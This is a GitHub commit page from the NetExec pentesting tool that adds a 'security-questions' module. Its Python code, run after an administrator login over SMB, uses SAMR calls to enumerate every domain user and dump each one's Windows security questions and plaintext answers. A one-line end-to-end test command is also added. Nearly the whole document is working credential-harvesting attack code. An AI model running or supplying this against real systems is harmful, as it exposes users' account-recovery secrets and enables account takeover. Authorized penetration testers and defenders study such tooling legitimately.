Skip to content

Commit cb639c8

Browse files
authored
Merge pull request Pennyw0rth#295 from Adamkadaban/dumpSecurityQuestionsModule
add new security-questions module
2 parents 398716d + 280baad commit cb639c8

3 files changed

Lines changed: 139 additions & 4 deletions

File tree

nxc/modules/security-questions.py

Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
from impacket.dcerpc.v5 import samr, transport
2+
from impacket.nt_errors import STATUS_MORE_ENTRIES
3+
from impacket.dcerpc.v5.rpcrt import DCERPCException
4+
from json import loads
5+
from traceback import format_exc as traceback_format_exc
6+
7+
class NXCModule:
8+
"""
9+
Module by Adamkadaban: @Adamkadaban
10+
Based on research from @0gtweet (@gtworek)
11+
12+
Much of this code was copied from add_computer.py
13+
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
14+
"""
15+
16+
name = "security-questions"
17+
description = "Gets security questions and answers for users on computer"
18+
supported_protocols = ["smb"]
19+
opsec_safe = True
20+
multiple_hosts = True
21+
22+
def options(self, context, module):
23+
pass
24+
25+
def on_admin_login(self, context, connection):
26+
self.__domain = connection.domain
27+
self.__domainNetbios = connection.domain
28+
self.__kdcHost = connection.hostname + "." + connection.domain
29+
self.__target = self.__kdcHost
30+
self.__username = connection.username
31+
self.__password = connection.password
32+
self.__targetIp = connection.host
33+
self.__port = context.smb_server_port
34+
self.__aesKey = context.aesKey
35+
self.__hashes = context.hash
36+
self.__doKerberos = connection.kerberos
37+
self.__nthash = ""
38+
self.__lmhash = ""
39+
40+
if context.hash and ":" in context.hash[0]:
41+
hashList = context.hash[0].split(":")
42+
self.__nthash = hashList[-1]
43+
self.__lmhash = hashList[0]
44+
elif context.hash and ":" not in context.hash[0]:
45+
self.__nthash = context.hash[0]
46+
self.__lmhash = "00000000000000000000000000000000"
47+
48+
self.getSAMRResetInfo(context)
49+
50+
def getSAMRResetInfo(self, context):
51+
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
52+
rpc_transport = transport.DCERPCTransportFactory(string_binding)
53+
rpc_transport.set_dport(445)
54+
rpc_transport.setRemoteHost(self.__targetIp)
55+
56+
if hasattr(rpc_transport, "set_credentials"):
57+
# This method exists only for selected protocol sequences.
58+
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
59+
self.__nthash, self.__aesKey)
60+
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
61+
62+
try:
63+
dce = rpc_transport.get_dce_rpc()
64+
dce.connect()
65+
dce.bind(samr.MSRPC_UUID_SAMR)
66+
67+
# obtain server handle for samr connection
68+
resp = samr.hSamrConnect(dce)
69+
server_handle = resp["ServerHandle"]
70+
71+
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
72+
domains = resp["Buffer"]["Buffer"]
73+
74+
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
75+
76+
# obtain domain handle for samr connection
77+
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
78+
domain_handle = resp["DomainHandle"]
79+
80+
status = STATUS_MORE_ENTRIES
81+
enumeration_context = 0
82+
83+
# try to iterate through users in domain entries for connection
84+
while status == STATUS_MORE_ENTRIES:
85+
try:
86+
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
87+
except DCERPCException as e:
88+
if str(e).find("STATUS_MORE_ENTRIES") < 0:
89+
raise
90+
resp = e.get_packet()
91+
92+
for user in resp["Buffer"]["Buffer"]:
93+
try:
94+
context.log.info(f"Querying security questions for User: {user['Name']}")
95+
# request SAMR ID 30
96+
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
97+
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
98+
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
99+
100+
reset_data = info["Buffer"]["Reset"]["ResetData"]
101+
if reset_data == b"":
102+
continue
103+
reset_data = loads(reset_data)
104+
questions = reset_data["questions"]
105+
106+
if len(questions) == 0:
107+
context.log.highlight(f"User {user['Name']} has no security questions")
108+
else:
109+
for qna in questions:
110+
question = qna["question"]
111+
answer = qna["answer"]
112+
context.log.highlight(f"{user['Name']} - {question}: {answer}")
113+
114+
samr.hSamrCloseHandle(dce, r["UserHandle"])
115+
except samr.DCERPCException as e:
116+
if "STATUS_INVALID_INFO_CLASS" in str(e):
117+
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
118+
continue
119+
else:
120+
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
121+
context.log.debug(traceback_format_exc())
122+
enumeration_context = resp["EnumerationContext"]
123+
status = resp["ErrorCode"]
124+
125+
except Exception as e:
126+
context.log.fail(f"Error: {e}")
127+
context.log.debug(traceback_format_exc())
128+
129+
finally:
130+
if domain_handle is not None:
131+
samr.hSamrCloseHandle(dce, domain_handle)
132+
if server_handle is not None:
133+
samr.hSamrCloseHandle(dce, server_handle)
134+
dce.disconnect()

poetry.lock

Lines changed: 4 additions & 4 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

tests/e2e_commands.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M imperson
8282
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
8383
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
8484
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
85+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
8586
# currently hanging indefinitely - TODO: look into this
8687
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
8788
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"

0 commit comments

Comments
 (0)